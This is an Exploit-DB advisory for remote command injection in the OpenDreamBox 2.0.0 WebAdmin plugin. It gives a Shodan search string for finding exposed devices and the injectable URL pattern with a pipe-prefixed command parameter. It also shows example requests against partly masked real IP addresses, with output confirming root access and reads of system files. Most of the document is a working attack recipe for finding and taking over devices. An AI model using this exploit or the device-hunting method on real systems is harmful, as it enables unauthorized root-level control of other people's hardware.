OpenDreamBox 2.0.0 Plugin WebAdmin - Remote Code Execution

EDB-ID: 42293
Author: Jonatas Fil
Published: 2017-07-03
CVE: N/A
Type: Webapps
Platform: Hardware
Vulnerable App: N/A

 # Shodan Dork: "DreamBox" 200 ok" 
# Date: 07/03/17
# Exploit Author: Jonatas Fil
# Vendor Homepage: https://www.dreamboxupdate.com
# Software Link: https://www.dreamboxupdate.com/opendreambox/2.0.0
# Version: 2.0.0

Vulnerabilty: Remote Command Execution via Command injection in Plugin
WebAdmin.
Tools: https://github.com/ninj4c0d3r/ShodanCli
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p0c:

- First, Search in Shodan: "DreamBox" 200 ok.

(https://github.com/ninj4c0d3r/ShodanCli - My tool for search (need api) or
https://www.shodan.io)

- After, open the target and go to "Extra", wait a moment...

- In plugins, if WebAdmin Plugin is installed [VULNERABLE]:

Exploit : http://target.com:100000/webadmin/script?command=|YOUR_COMMAND

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Examples:

http://212.13.x.129:8081/webadmin/script?command=|uname -a : Linux dm7020hd 3.2-dm7020hd #1 SMP Sun Jun 21 15:26:04 CEST 2015 mips GNU/Linux
http://80.x.24.154:8880/webadmin/script?command=|id : uid=0(root) gid=0(root)
http://62.224.234.x:8081/webadmin/script?command=|pwd : /home/root
http://x.19.12.146:10000/webadmin/script?command=|cat /etc/issue : opendreambox 2.0.0 \n \l

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